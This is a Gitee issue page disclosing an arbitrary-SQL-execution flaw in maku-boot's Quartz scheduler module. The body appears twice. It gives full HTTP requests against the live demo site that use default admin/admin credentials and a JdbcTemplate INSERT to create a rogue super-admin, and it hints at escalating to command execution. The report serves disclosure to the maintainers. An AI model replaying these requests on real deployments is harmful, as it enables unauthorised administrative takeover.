登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
AI 队友
登录
注册
代码拉取完成,页面将自动刷新
开源项目
>
WEB应用开发
>
后台管理框架
&&
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
2.1K
Star
33.3K
Fork
5.4K
MAKU
/
maku-boot
代码
Issues
3
Pull Requests
1
Wiki
统计
流水线
服务
JavaDoc
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
Any sql statement execution vulnerability
已完成
#I5ZUYI
TGAO
创建于
2022-11-07 16:16
# Impact version:maku-boot v1.3.0-v2.2.0 Users with "schedule" permissions can execute arbitrary sql statements, even rce # Code Audit The vulnerability code is located at: 1. https://github.com/makunet/maku-boot/blob/master/maku-boot-module/maku-module-quartz/src/main/java/net/maku/quartz/utils/AbstractScheduleJob.java 2. https://gitee.com/makunet/maku-boot/blob/master/maku-boot-module/maku-module-quartz/src/main/java/net/maku/quartz/utils/AbstractScheduleJob.java  Need to find an exploitable method that satisfies the following conditions: - The class that defines the method is in the spring bean container. - The method has only one parameter, and the parameter type must be a string. - The method must be public. Deploy maku-boot locally and write auxiliary code to find a method that meets the above conditions:  Visit http://localhost:8080/index  Find `org.springframework.jdbc.core.JdbcTemplate#execute(java.lang.String)` method, this method can perform any SQL statement The next section is the exploit procedure # Steps to reproduce Visit the official demo site: https://demo.maku.net/maku-boot/#/login 1. Log in as user name 'admin' and password 'admin'.  2. Go to https://demo.maku.net/maku-boot/#/quartz/schedule/index and add timing task after a successful login. Click the Add button in the image below.  Fill in the following important parameters and click the submit button in the image below: - bean name: jdbcTemplate - method name: execute - method param: `INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, 'babamu@126.cn', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());`  The packet is as follows: ``` POST /maku-boot-server/schedule HTTP/1.1 Host: demo.maku.net Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738 Content-Length: 583 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101" Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0 Authorization: 06f170e5cdbf4c83b5e3ba5ffc4cde98 Content-Type: application/json;charset=UTF-8 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.maku.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.maku.net/maku-boot/ Accept-Encoding: gzip, deflate Connection: close {"id":"","jobName":"test","jobGroup":"default","beanName":"jdbcTemplate","method":"execute","params":"INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, 'babamu@126.cn', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());","cronExpression":"* * * * * ? *","status":0,"concurrent":1,"remark":""} ``` 3. Click the run button in the image below to execute the scheduled task you just created.  The packet is as follows: ``` PUT /maku-boot-server/schedule/run HTTP/1.1 Host: demo.maku.net Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738 Content-Length: 618 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101" Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0 Authorization: 06f170e5cdbf4c83b5e3ba5ffc4cde98 Content-Type: application/json;charset=UTF-8 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.maku.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.maku.net/maku-boot/ Accept-Encoding: gzip, deflate Connection: close {"id":24,"jobName":"test","jobGroup":"default","beanName":"jdbcTemplate","method":"execute","params":"INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, 'babamu@126.cn', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());","cronExpression":"* * * * * ? *","status":0,"concurrent":1,"remark":"","createTime":"2022-11-07 11:23:34"} ``` After the sql statement is successfully executed, an administrator user test123/admin is created 4. Log in to the system as test123/admin  The packet is as follows: ``` POST /maku-boot-server/sys/auth/login HTTP/1.1 Host: demo.maku.net Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738 Content-Length: 104 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101" Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.maku.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.maku.net/maku-boot/ Accept-Encoding: gzip, deflate Connection: close {"username":"test123","password":"admin","key":"30aef83e-2804-49ea-acb5-b5678cdc27dc","captcha":"bdrgr"} ``` Login successful  In addition, any sql statements can be executed, and the maku-boot program supports mysql and postgresql databases. Therefore, the udf may upgrade permissions and execute commands
# Impact version:maku-boot v1.3.0-v2.2.0 Users with "schedule" permissions can execute arbitrary sql statements, even rce # Code Audit The vulnerability code is located at: 1. https://github.com/makunet/maku-boot/blob/master/maku-boot-module/maku-module-quartz/src/main/java/net/maku/quartz/utils/AbstractScheduleJob.java 2. https://gitee.com/makunet/maku-boot/blob/master/maku-boot-module/maku-module-quartz/src/main/java/net/maku/quartz/utils/AbstractScheduleJob.java  Need to find an exploitable method that satisfies the following conditions: - The class that defines the method is in the spring bean container. - The method has only one parameter, and the parameter type must be a string. - The method must be public. Deploy maku-boot locally and write auxiliary code to find a method that meets the above conditions:  Visit http://localhost:8080/index  Find `org.springframework.jdbc.core.JdbcTemplate#execute(java.lang.String)` method, this method can perform any SQL statement The next section is the exploit procedure # Steps to reproduce Visit the official demo site: https://demo.maku.net/maku-boot/#/login 1. Log in as user name 'admin' and password 'admin'.  2. Go to https://demo.maku.net/maku-boot/#/quartz/schedule/index and add timing task after a successful login. Click the Add button in the image below.  Fill in the following important parameters and click the submit button in the image below: - bean name: jdbcTemplate - method name: execute - method param: `INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, 'babamu@126.cn', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());`  The packet is as follows: ``` POST /maku-boot-server/schedule HTTP/1.1 Host: demo.maku.net Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738 Content-Length: 583 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101" Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0 Authorization: 06f170e5cdbf4c83b5e3ba5ffc4cde98 Content-Type: application/json;charset=UTF-8 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.maku.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.maku.net/maku-boot/ Accept-Encoding: gzip, deflate Connection: close {"id":"","jobName":"test","jobGroup":"default","beanName":"jdbcTemplate","method":"execute","params":"INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, 'babamu@126.cn', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());","cronExpression":"* * * * * ? *","status":0,"concurrent":1,"remark":""} ``` 3. Click the run button in the image below to execute the scheduled task you just created.  The packet is as follows: ``` PUT /maku-boot-server/schedule/run HTTP/1.1 Host: demo.maku.net Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738 Content-Length: 618 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101" Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0 Authorization: 06f170e5cdbf4c83b5e3ba5ffc4cde98 Content-Type: application/json;charset=UTF-8 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.maku.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.maku.net/maku-boot/ Accept-Encoding: gzip, deflate Connection: close {"id":24,"jobName":"test","jobGroup":"default","beanName":"jdbcTemplate","method":"execute","params":"INSERT INTO sys_user (id, username, password, real_name, avatar, gender, email, mobile, status, org_id, super_admin, version, deleted, creator, create_time, updater, update_time) VALUES (10099, 'test123', '{bcrypt}$2a$10$mW/yJPHjyueQ1g26WNBz0uxVPa0GQdJO1fFZmqdkqgMTGnyszlXxu', 'test', 'https://cdn.maku.net/images/avatar.png', 0, 'babamu@126.cn', '13612345586', 1, null, 1, 0, 0, 10000, now(), 10000, now());","cronExpression":"* * * * * ? *","status":0,"concurrent":1,"remark":"","createTime":"2022-11-07 11:23:34"} ``` After the sql statement is successfully executed, an administrator user test123/admin is created 4. Log in to the system as test123/admin  The packet is as follows: ``` POST /maku-boot-server/sys/auth/login HTTP/1.1 Host: demo.maku.net Cookie: Hm_lvt_dd01f60c05c4a94d3287dd7c580372ff=1667440588; Hm_lpvt_dd01f60c05c4a94d3287dd7c580372ff=1667468738 Content-Length: 104 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="101", "Google Chrome";v="101" Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 Accept-Language: zh-CN Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Sec-Ch-Ua-Platform: "Windows" Origin: https://demo.maku.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://demo.maku.net/maku-boot/ Accept-Encoding: gzip, deflate Connection: close {"username":"test123","password":"admin","key":"30aef83e-2804-49ea-acb5-b5678cdc27dc","captcha":"bdrgr"} ``` Login successful  In addition, any sql statements can be executed, and the maku-boot program supports mysql and postgresql databases. Therefore, the udf may upgrade permissions and execute commands
评论 (
1
)
登录
后才可以发表评论
状态
已完成
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
分支
未关联
分支 (1)
标签 (29)
master
v4.10.0
v4.9.0
v4.8.0
v4.7.1
v4.7.0
v4.6.0
v4.5.0
v4.4.0
v4.3.0
v4.2.0
v4.1.0
v4.0.0
v3.6.0
v3.5.0
v3.4.0
v3.3.0
v3.2.0
v3.1.0
v3.0.0
v2.5.0
v2.4.0
v2.3.1
v2.3.0
v2.2.0
v2.1.0
v2.0.0
v1.5.0
v1.4.0
v1.3.0
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
Java
1
https://gitee.com/makunet/maku-boot.git
git@gitee.com:makunet/maku-boot.git
makunet
maku-boot
maku-boot
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册